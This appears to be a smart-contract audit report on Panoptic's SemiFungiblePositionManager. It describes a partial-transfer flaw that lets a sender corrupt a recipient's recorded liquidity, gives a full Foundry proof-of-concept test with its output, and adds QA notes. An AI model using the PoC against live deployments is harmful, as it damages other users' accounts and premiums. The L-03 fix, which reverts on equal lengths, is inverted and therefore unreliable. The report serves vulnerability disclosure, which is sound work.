Panoptic - osmanozdemir1's results

Lines of code

https://github.com/code-423n4/2023-11-panoptic/blob/f75d07c345fd795f907385868c39bafcd6a56624/contracts/SemiFungiblePositionManager.sol#L619-L621 https://github.com/code-423n4/2023-11-panoptic/blob/f75d07c345fd795f907385868c39bafcd6a56624/contracts/SemiFungiblePositionManager.sol#L626-L630

Vulnerability details

Bug description

The positions in this protocol are ERC1155 tokens and they can be minted or burned.

Token transfers are extremely limited in the protocol:

• The sender must transfer all of its liquidity

• The recipient must not have a position in that tick range and token type

Users' current liquidity in their positions is tracked with a storage variable called s_accountLiquidity. This mapping is overwritten during transfers and the whole value is transferred from to to.
The reason for not allowing partial transfers is that partial transfers will mess up the whole storage updating mechanism.

The requirements mentioned above are checked here:
https://github.com/code-423n4/2023-11-panoptic/blob/f75d07c345fd795f907385868c39bafcd6a56624/contracts/SemiFungiblePositionManager.sol#L613C13-L621C99

file: SemiFungiblePositionManager.sol
// function registerTokenTransfer
            // ...

            // Revert if recipient already has that position
            if (
                (s_accountLiquidity[positionKey_to] != 0) ||
                (s_accountFeesBase[positionKey_to] != 0)
            ) revert Errors.TransferFailed();

            // Revert if not all balance is transferred
            uint256 fromLiq = s_accountLiquidity[positionKey_from];
-->         if (fromLiq.rightSlot() != liquidityChunk.liquidity()) revert Errors.TransferFailed(); //@audit if the right slot is equal to transferred liquidity, it will pass. There is no check related to left slot.
        
            // ... more code

The check related to whether all balance is transferred or not is made by checking the right slot of the sender's liquidity using fromLiq.rightSlot(). Right now, I want to point out there is no check related to the left slot. I'll get there later.

Now, we have to understand how position keys are constructed, and how the left slot and right slot work. Let's start with the position keys:
https://github.com/code-423n4/2023-11-panoptic/blob/f75d07c345fd795f907385868c39bafcd6a56624/contracts/SemiFungiblePositionManager.sol#L593C13-L601C18

            //construct the positionKey for the from and to addresses
            bytes32 positionKey_from = keccak256(
                abi.encodePacked(
                    address(univ3pool),
                    from,
                    id.tokenType(leg),
                    liquidityChunk.tickLower(),
                    liquidityChunk.tickUpper()
                )

They are constructed with pool address, user address, token type, lower tick and upper tick. The most important thing I want to mention here is that whether the position is long or short is not in the position key. The thing that matters is the token type (put or call). Which means:

• Short put and Long put orders have the same position key (for the same tick range) but different token IDs.

---

The second thing we need to know is the left and right slot mechanism.

    /*       removed liquidity r          net liquidity N=(T-R)
     * |<------- 128 bits ------->|<------- 128 bits ------->|
     * |<---------------------- 256 bits ------------------->|
     */
    ///
    /// @dev mapping that stores the liquidity data of keccak256(abi.encodePacked(address poolAddress, address owner, int24 tickLower, int24 tickUpper))
    // liquidityData is a LeftRight. The right slot represents the liquidity currently sold (added) in the AMM owned by the user
    // the left slot represents the amount of liquidity currently bought (removed) that has been removed from the AMM - the user owes it to a seller
    // the reason why it is called "removedLiquidity" is because long options are created by removed liquidity -ie. short selling LP positions 

The left slot holds the removed liquidity values and the right slot holds the net liquidity values.

These values are updated in the _createLegInAMM during minting and burning depending on whether the action is short or long or mint or burn etc.
https://github.com/code-423n4/2023-11-panoptic/blob/f75d07c345fd795f907385868c39bafcd6a56624/contracts/SemiFungiblePositionManager.sol#L971C13-L1000C18

---

As I mentioned above, only the right slot is checked during transfers. If a user mints a short put (deposits tokens), and then mints a long put (withdraws tokens) in the same ticks, the right slot will be a very small number but the user will have two different ERC1155 tokens (token Ids are different for short and long positions, but position key is the same). Then that user can transfer just the partial amount of short put tokens that correspond to the right slot. It may sound complicated but don't worry, I'll give examples now :)

I'll provide two different scenarios here where the sender is malicious in one of them, and a naive user in another one. You can also find a coded PoC down below that shows all of these scenarios.

Scenario 1: Alice(sender) is a malicious user

1. Alice mints 100 Short put tokens.

   //NOTE: The liquidity is different than the token amounts but I'm sharing like this just to make easy
   /* 
      |---left slot: removed liq---|---right slot: added liq---|
      |           0                |            100            | 

2. Alice mints 90 Long put tokens in the same ticks (not burn).

   /* 
      |---left slot: removed liq---|---right slot: added liq---|
      |           90               |             10            | 

3. At this moment Alice has 100 short put tokens and 90 long put tokens (tokenIds are different but the position key is the same)

4. Alice transfers only 10 short put tokens to Bob.
   This transaction succeeds as the 10 short put token liquidity is the same as Alice's right slot liquidity. (The net liquidity is totally transferred)

5. After the transfer, Alice still has 90 short put tokens and 90 long put tokens but Alice's s_accountLiquidity storage variable is updated to 0.

6. At this moment Bob only has 10 short put tokens. However, the storage is updated.
   Bob didn't remove any tokens but his s_accountLiquidity left slot is 90, and it looks like Bob has removed 90 tokens.

   /* 
      |---left slot: removed liq---|---right slot: added liq---|
      |           90               |             10            | 

There are two big problems here.

• Bob has no way to update his removedLiquidity variable other than burning long put tokens. However, he doesn't have these tokens. They are still in Alice's wallet.

• All of Bob's account premiums and owed premiums are calculated based on the ratio of removed, net and total liquidity. All of his account premiums for that option will be completely incorrect. https://github.com/code-423n4/2023-11-panoptic/blob/f75d07c345fd795f907385868c39bafcd6a56624/contracts/SemiFungiblePositionManager.sol#L1279C17-L1306C14

Now imagine a malicious user minting a huge amount of short put (deposit), minting 99% of that amount of long put (withdraw), and transferring that 1% to the victim. It's basically setting traps for the victim by transferring tiny amount of net liquidities. The victim's account looks like he removed a lot of liquidity, and if the victim mints positions in the same range in the future, the owed premiums for this position will be extremely different, and much higher than it should be.

Scenario 2: Alice(sender) is a naive user

The initial steps are the same as those above. She is just a regular user.

1. She mints 100 short put

2. Then mints 90 long put.

3. She knows she has some liquidity left and transfers 10 short put tokens to her friend.

4. Right now, she has 90 short put tokens and 90 long put tokens.
   Her account liquidity is overwritten and updated to 0, but she doesn't know that. She is just a regular user. From her perspective, she still has these 90 short put and 90 long put tokens in her wallet.

5. She wants to burn her tokens (She has to burn the long ones first).

6. She burns 90 long put tokens.

https://github.com/code-423n4/2023-11-panoptic/blob/f75d07c345fd795f907385868c39bafcd6a56624/contracts/SemiFungiblePositionManager.sol#L961C9-L980C18

```solidity
    unchecked {
    //...
            uint128 startingLiquidity = currentLiquidity.rightSlot();
            uint128 removedLiquidity = currentLiquidity.leftSlot();
            uint128 chunkLiquidity = _liquidityChunk.liquidity();

            if (isLong == 0) {
                // selling/short: so move from msg.sender *to* uniswap
                // we're minting more liquidity in uniswap: so add the incoming liquidity chunk to the existing liquidity chunk
                updatedLiquidity = startingLiquidity + chunkLiquidity;

                /// @dev If the isLong flag is 0=short but the position was burnt, then this is closing a long position
                /// @dev so the amount of short liquidity should decrease.
                if (_isBurn) {
979.-->            removedLiquidity -= chunkLiquidity; //@audit her removedLiquidity was 0, but this is inside the unchecked block. Now her removed liquidity is a huuuuuuuge number.
```

Her account liquidity storage was updated before (step 4) and removedLiquidity was 0. After burning her long put tokens, the new removedLiquidity (L979 above) will be an enormous number since it is inside the unchecked block.

7. Right now, Alice looks like she removed an unbelievably huge amount of liquidity and she messed up her account (but she didn't do anything wrong).

Impact

• Partial transfers are still possible since the function only checks whether the net liquidity (right slot) is transferred.

• This will disrupt the whole storage updates related to account liquidities.

• Malicious users might transfer a tiny bit of their balance, and cause the recipient to pay much more premium.

• Naive users might unintentionally mess up their accounts.

Proof of Concept

Down below you can find a coded PoC that proves all scenarios explained above. You can use the protocol's own setup to test this issue:
- Copy and paste the snippet in the SemiFungiblePositionManager.t.sol file
- Run it with forge test --match-test test_transferpartial -vvv

function test_transferpartial() public {
        _initPool(1);
        int24 width = 10; 
        int24 strike = currentTick + 100 - (currentTick % 10); // 10 is tick spacing. We subtract the remaining part, this way strike % tickspacing == 0.
        uint256 positionSizeSeed = 1 ether;

        // Create state with the parameters above.
        populatePositionData(width, strike, positionSizeSeed);
        console2.log("pos size: ", positionSize);
        console2.log("current tick: ", currentTick);

        //--------------------------- MINT BOTH: A SHORT PUT AND A LONG PUT --------------------------------------- 
        // MINTING SHORT PUT-----
        // Construct tokenId for short put.
        uint256 tokenIdforShortPut = uint256(0).addUniv3pool(poolId).addLeg(
            0,
            1,
            isWETH,
            0,
            1,
            0,
            strike,
            width
        );

        // Mint a short put position with 100% positionSize
        sfpm.mintTokenizedPosition(
            tokenIdforShortPut,
            uint128(positionSize),
            TickMath.MIN_TICK,
            TickMath.MAX_TICK
        );

        // Alice's account liquidity after first mint will be like this --------------------> removed liq (left slot): 0 | added liq (right slot): liquidity 
        uint256 accountLiquidityAfterFirstMint = sfpm.getAccountLiquidity(
                address(pool),
                Alice,
                1,
                tickLower,
                tickUpper
            );
        assertEq(accountLiquidityAfterFirstMint.leftSlot(), 0);
        assertEq(accountLiquidityAfterFirstMint.rightSlot(), expectedLiq);

        // MINTING LONG PUT----
        // Construct tokenId for long put -- Same strike same width same token type
        uint256 tokenIdforLongPut = uint256(0).addUniv3pool(poolId).addLeg(
            0,
            1,
            isWETH,
            1, // isLong true
            1, // token type is the same as above.
            0,
            strike,
            width
        );

        // This time mint but not with whole position size. Use 90% of it.
        sfpm.mintTokenizedPosition(
            tokenIdforLongPut,
            uint128(positionSize * 9 / 10),
            TickMath.MIN_TICK,
            TickMath.MAX_TICK
        );

        // Account liquidity after the second mint will be like this: ------------------------  removed liq (left slot): 90% of the liquidity | added liq (right slot): 10% of the liquidity
        uint256 accountLiquidityAfterSecondMint = sfpm.getAccountLiquidity(
                address(pool),
                Alice,
                1,
                tickLower,
                tickUpper
            );
        
        // removed liq 90%, added liq 10%
        // NOTE: there was 1 wei difference due to rounding. That's why ApproxEq is used.
        assertApproxEqAbs(accountLiquidityAfterSecondMint.leftSlot(), expectedLiq * 9 / 10, 1);
        assertApproxEqAbs(accountLiquidityAfterSecondMint.rightSlot(), expectedLiq * 1 / 10, 1);

        // Let's check ERC1155 token balances of Alice.
        // She sould have positionSize amount of short put token, and positionSize*9/10 amount of long put token.
        assertEq(sfpm.balanceOf(Alice, tokenIdforShortPut), positionSize);
        assertEq(sfpm.balanceOf(Alice, tokenIdforLongPut), positionSize * 9 / 10);

        // -------------------------- TRANSFER ONLY 10% TO BOB -----------------------------------------------
        /* During the transfer only the right slot is checked. 
           If the sender account's right slot liquidity is equal to transferred liquidity, transfer is succesfully made regardless of the left slot (as the whole net liquidity is transferred)
        */
        
        // The right side of the Alice's position key is only 10% of liquidity. She can transfer 1/10 of the short put tokens. 
        sfpm.safeTransferFrom(Alice, Bob, tokenIdforShortPut, positionSize * 1 / 10, "");

        // After the transfer, Alice still has positionSize * 9/10 amount of short put tokens and long put tokens.
        // NOTE: There was 1 wei difference due to rounding. That's why used approxEq.
        assertApproxEqAbs(sfpm.balanceOf(Alice, tokenIdforShortPut), positionSize * 9 / 10, 1);
        assertApproxEqAbs(sfpm.balanceOf(Alice, tokenIdforLongPut), positionSize * 9 / 10, 1);
        
        // Bob has positionSize * 1/10 amount of short put tokens.
        assertApproxEqAbs(sfpm.balanceOf(Bob, tokenIdforShortPut), positionSize * 1 / 10, 1);


        // The more problematic thing is that tokens are still in the Alice's wallet but Alice's position key is updated to 0.
        // Bob only got a little tokens but his position key is updated too, and he looks like he removed a lot of liquidity.
        uint256 Alice_accountLiquidityAfterTransfer = sfpm.getAccountLiquidity(
                address(pool),
                Alice,
                1,
                tickLower,
                tickUpper
            ); 
        uint256 Bob_accountLiquidityAfterTransfer = sfpm.getAccountLiquidity(
                address(pool),
                Bob,
                1,
                tickLower,
                tickUpper
            );

        assertEq(Alice_accountLiquidityAfterTransfer.leftSlot(), 0);
        assertEq(Alice_accountLiquidityAfterTransfer.rightSlot(), 0);
        
        // Bob's account liquidity is the same as Alice's liq after second mint. 
        // Bob's account looks like he removed tons of liquidity. It will be like this: ---------------------  removed liq (left slot): 90% of the liquidity | added liq (right slot): 10% of the liquidity
        assertEq(Bob_accountLiquidityAfterTransfer.leftSlot(), accountLiquidityAfterSecondMint.leftSlot());
        assertEq(Bob_accountLiquidityAfterTransfer.rightSlot(), accountLiquidityAfterSecondMint.rightSlot());
        console2.log("Bob's account removed liquidity after transfer: ", Bob_accountLiquidityAfterTransfer.leftSlot());

        // -----------------------------------SCENARIO 2-----------------------------------------------
        // ----------------------- ALICE NAIVELY BURNS LONG PUT TOKENS ---------------------------------
        // Alice still had 90 long put and short put tokens. She wants to burn.
        sfpm.burnTokenizedPosition(
            tokenIdforLongPut,
            uint128(positionSize * 9 / 10),
            TickMath.MIN_TICK,
            TickMath.MAX_TICK
        );

        uint256 Alice_accountLiquidityAfterBurn = sfpm.getAccountLiquidity(
                address(pool),
                Alice,
                1,
                tickLower,
                tickUpper
            );

        // Her account liquidity left side is enormously big at the moment due to unchecked subtraction in line 979.
        console2.log("Alice's account liquidity left side after burn: ", Alice_accountLiquidityAfterBurn.leftSlot()); 
    }

The result after running the test:

Running 1 test for test/foundry/core/SemiFungiblePositionManager.t.sol:SemiFungiblePositionManagerTest
[PASS] test_transferpartial() (gas: 1953904)
Logs:
  Bound Result 1
  Bound Result 1000000000000000000
  pos size:  1009241985705208217
  current tick:  199478
  Bob's account removed liquidity after transfer:  8431372059003199
  Alice's account liquidity left side after burn:  340282366920938463463366176059709208257

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.55s
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

At the moment, the protocol checks if the whole net liquidity is transferred by checking the right slot. However, this restriction is not enough and the situation of the left slot is not checked at all.

The transfer restriction should be widened and users should not be able to transfer if their removed liquidity (left slot) is greater than zero.

Assessed type

Token-Transfer

Summary

• [L-01] Users should be able to choose the recipient for long positions in case of being blocked

• [L-02] Actual collected amounts and the requested amounts should be checked in SemiFungiblePositionManager::_collectAndWritePositionData

• [L-03] Input array lengths in ERC1155Minimal::balanceOfBatch is not checked

• [L-04] Possible missing function in LeftRight.sol library

• [N-01] Misleading comments related to positionKey

• [N-02] Slippage tick limits for swaps can be inclusive

• [N-03] NatSpec @return explanation is incorrect in _createPositionInAMM() function

• [N-04] Misleading comment in _mintLiquidity() function

• [N-05] No need to wrap uniV3pool parameter in getAccountPremium function

• [N-06] NatSpec @return comment is incorrect in _getPremiaDeltas() function

[L-01] Users should be able to choose the recipient for long positions

https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/SemiFungiblePositionManager.sol#L1223

Users deposit tokens by opening short positions and withdraw tokens by opening long positions or closing short positions (closing a short position is also considered as long in the codebase).

If a position is long, the liquidity in the Uniswap is burned first and then collected.

In the current implementation, the collected tokens are only transferred to the msg.sender and the user has no way to provide a different recipient.
https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/SemiFungiblePositionManager.sol#L1222C2-L1228C15

File: SemiFungiblePositionManager.sol
// function _collectAndWritePositionData
       ...
            (uint128 receivedAmount0, uint128 receivedAmount1) = univ3pool.collect(
 -->            msg.sender, //@audit the recipient is always msg.sender
                liquidityChunk.tickLower(),
                liquidityChunk.tickUpper(),
                uint128(amountToCollect.rightSlot()),
                uint128(amountToCollect.leftSlot())
            );

This SemiFungiblePositionManager contract is the ERC1155 version of Uniswap's NonfungiblePositionManager. Users can provide different recipient addresses in both NonfungiblePositionManager and UniswapV3Pool contracts in the Uniswap protocol.

Users should be able to provide recipients in case of being blocked by some token contracts (e.g. USDC or USDT).

• Alice opens a short position and deposits USDC to Uniswap through Panoptic

• Alice's account is blocked by the USDC contract.

• Alice tries to close her position.

• _collectAndWritePositionData reverts while transferring USDC back to Alice due to Alice being blocked.

• She can not close her position.

If Alice minted a position directly in Uniswap instead of doing this through Panoptic, she could've provided a different address, closed the position and gotten her tokens back.

Recommendation: Allow users to provide recipient addresses to collect fees and burnt liquidity instead of transferring only to the msg.sender

---

[L-02] Actual collected amounts and the requested amounts should be checked in SemiFungiblePositionManager::_collectAndWritePositionData

https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/SemiFungiblePositionManager.sol#L1222C2-L1228C15

The earned fees and the burnt liquidities are collected by calling the UniswapV3Pool.collect() function in the SemiFungiblePositionManager::_collectAndWritePositionData() function.

The SFPM contract provides the requested amounts while calling the UniswapV3 pool. These requested amounts include fees and burnt liquidity, and they are provided with amountToCollect.rightSlot() and amountToCollect.leftSlot().

File: SemiFungiblePositionManager.sol
// function _collectAndWritePositionData
       ...
            (uint128 receivedAmount0, uint128 receivedAmount1) = univ3pool.collect( // @audit what if the received amounts are different than the requested amounts?
                msg.sender,
                liquidityChunk.tickLower(),
                liquidityChunk.tickUpper(),
                uint128(amountToCollect.rightSlot()), // amount0requested
                uint128(amountToCollect.leftSlot()) // amount1requested
            );

The UniswapV3Pool checks the requested amounts compared to the owed amounts to the position and transfers tokens.

// UniswapV3Pool.sol

->      Position.Info storage position = positions.get(msg.sender, tickLower, tickUpper); //@audit Position owner is the SFPM contract

        amount0 = amount0Requested > position.tokensOwed0 ? position.tokensOwed0 : amount0Requested;
        amount1 = amount1Requested > position.tokensOwed1 ? position.tokensOwed1 : amount1Requeste

The owner of the position is the SFPM contract itself. So, it is normal to assume that the owed amounts to SFPM will be greater than the user's requested amounts and these requested amounts will be transferred correctly.

However, it would be better to check if the actual transferred amounts are equal to the requested amounts as an invariant check. It might be an extremely rare case but there is no way to collect the remaining owed tokens in that case since the SFPM doesn't have a specific function to call the UniswapV3 collect function.

Recommendation:

if (receivedAmount0 != amountToCollect.rightSlot() || receivedAmount1 != amountToCollect.leftSlot()) revert

---

[L-03] Input array lengths in ERC1155Minimal::balanceOfBatch is not checked

https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/tokens/ERC1155Minimal.sol#L174

File: ERC1155Minimal.sol
    /// @notice Query balances for multiple users and tokens at once
--> /// @dev owners and ids must be of equal length //@audit it is not checked in the code below.
    /// @param owners the users to query balances for
    /// @param ids the ERC1155 token ids to query
    /// @return balances the balances for each user-token pair in the same order as the input
    function balanceOfBatch(
        address[] calldata owners,
        uint256[] calldata ids
    ) public view returns (uint256[] memory balances) {
        balances = new uint256[](owners.length);

        // Unchecked because the only math done is incrementing
        // the array index counter which cannot possibly overflow.
        unchecked {
            for (uint256 i = 0; i < owners.length; ++i) {
                balances[i] = balanceOf[owners[i]][ids[i]];
            }
        }
    }

As we can see in the developer's comment above, owners and ids must be of equal length.

However, the equality of these parameters is not checked at all in the code.

According to the EIP-1155 standard, these parameters are not strictly required to be equal for the balanceOfBatch function (Different than the safeBatchTransferFrom where all inputs MUST be equal length).

As you can see here, it is checked in Solady implementation.

Recommendation: Consider adding a check similar to Solady's implementation.

+        if(owners.length == ids.length) revert

---

[L-04] Possible missing function in LeftRight.sol library

https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/types/LeftRight.sol

LeftRight library is used to pack two separate data (each 128-bit) into a single 256-bit slot. There are multiple functions to add values to the right slot and left slot.

The functions to add value to the right slot are:

• toRightSlot(uint256 self, uint128 right)

• toRightSlot(uint256 self, int128 right)

• toRightSlot(int256 self, uint128 right)

• toRightSlot(int256 self, int128 right)

The functions to add value to the left slot are:

• toLeftSlot(uint256 self, uint128 left)

• toLeftSlot(int256 self, uint128 left)

• toLeftSlot(int256 self, int128 left)

When we compare it to right slot functions, it looks like the function with "uint256 self" and "int128 left" parameters is missing.

Recommendation: Consider adding a function called toLeftSlot(uint256 self, int128 left), if necessary.

---

[N-01] Misleading comments related to positionKey

https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/SemiFungiblePositionManager.sol#L175

https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/SemiFungiblePositionManager.sol#L292

SemiFungiblePositionManager.sol
175.    /// @dev mapping that stores the liquidity data of keccak256(abi.encodePacked(address poolAddress, address owner, int24 tickLower, int24 tickUpper))
292.    /// @dev mapping that stores a LeftRight packing of feesBase of  keccak256(abi.encodePacked(address poolAddress, address owner, int24 tickLower, int24 tickUpper))

Developer comments regarding position key encoding in lines 175 and 292 are misleading. These comments include only 4 elements (poolAddress, owner, tickLower and tickUpper) for encoding.

However, there is one more element in the actual implementation, which is tokenType.

---

[N-02] Slippage tick limits for swaps can be inclusive

https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/SemiFungiblePositionManager.sol#L713

Users provide upper and lower tick limits for swaps when minting in-the-money positions.

In the current implementation, the transaction reverts if the new tick after the swap touches the slippage limits. However, these limits should be inclusive and the transaction should revert if these limits are passed.

Recommendation:

713. -         if ((newTick >= tickLimitHigh) || (newTick <= tickLimitLow)) revert Errors.PriceBoundFail();
713. +         if ((newTick > tickLimitHigh) || (newTick < tickLimitLow)) revert Errors.PriceBoundFail();

---

[N-03] NatSpec @return explanation is incorrect in _createPositionInAMM() function

https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/SemiFungiblePositionManager.sol#L846

    /// @return totalMoved the total amount of liquidity moved from the msg.sender to Uniswap
--> /// @return totalCollected the total amount of liquidity collected from Uniswap to msg.sender //@audit It is not total liquidity collected, it is total fees collected.
    /// @return itmAmounts the amount of tokens swapped due to legs being in-the-money
    function _createPositionInAMM(

The comment regarding totalCollected parameter is incorrect. The returned value is not the total amount of liquidity collected from Uniswap. It is only the collected fee amount.

Received amounts from Uniswap include "fees + burnt liquidity". Burnt liquidity amounts are subtracted from the received amounts and the collected amounts are calculated in _collectAndWritePositionData() function.

https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/SemiFungiblePositionManager.sol#L1231C1-L1244C85

file: SemiFungiblePositionManager.sol
// function _collectAndWritePositionData
            uint128 collected0;
            uint128 collected1;
            unchecked {
                collected0 = movedInLeg.rightSlot() < 0
-->                 ? receivedAmount0 - uint128(-movedInLeg.rightSlot())
                    : receivedAmount0;
                collected1 = movedInLeg.leftSlot() < 0
-->                 ? receivedAmount1 - uint128(-movedInLeg.leftSlot())
                    : receivedAmount1;
            }


            // CollectedOut is the amount of fees accumulated+collected (received - burnt)
-->         // That's because receivedAmount contains the burnt tokens and whatever amount of fees collected
            collectedOut = int256(0).toRightSlot(collected0).toLeftSlot(collected1);

---

[N-04] Misleading comment in _mintLiquidity() function

https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/SemiFungiblePositionManager.sol#L1158C1-L1158C101

file: SemiFungiblePositionManager.sol
// _mintLiquidity function

-->     // from msg.sender to the uniswap pool, stored as negative value to represent amount debited //@audit It is not negative 
        movedAmounts = int256(0).toRightSlot(int128(int256(amount0))).toLeftSlot(
            int128(int256(amount1))
        );

The comment above movedAmounts mentioned that the amounts are stored as negative values. However, both amount0 and amount1 are returned values of the Uniswap mint function, and they are positive uint256 values.

---

[N-05] No need to wrap uniV3pool parameter in getAccountPremium function

https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/SemiFungiblePositionManager.sol#L1381C30-L1381C48

    function getAccountPremium(
-->     address univ3pool,
        address owner,
        uint256 tokenType,
        int24 tickLower,
        int24 tickUpper,
        int24 atTick,
        uint256 isLong
    ) external view returns (uint128 premiumToken0, uint128 premiumToken1) {
        bytes32 positionKey = keccak256(
-->         abi.encodePacked(address(univ3pool), owner, tokenType, tickLower, tickUpper) //@audit QA - univ3pool parameter is already address not IUniV3Pool. No need to do "address(univ3pool)"
        );

univ3pool parameter is already an address, not IUniswapV3Pool. Therefore, there is no need to do "address(univ3pool)"

---

[N-06] NatSpec @return comment is incorrect in _getPremiaDeltas() function

https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/SemiFungiblePositionManager.sol#L1253C1-L1254C147

    /// @return deltaPremiumOwed The extra premium (per liquidity X64) to be added to the owed accumulator for token0 (right) and token1 (right)
    /// @return deltaPremiumGross The extra premium (per liquidity X64) to be added to the gross accumulator for token0 (right) and token1 (right)

The explanation is: "... for token0 (right) and token1 (right)."

Both token0 and token1 is explained as the right slot in the comments. However, token1 is on the left slot.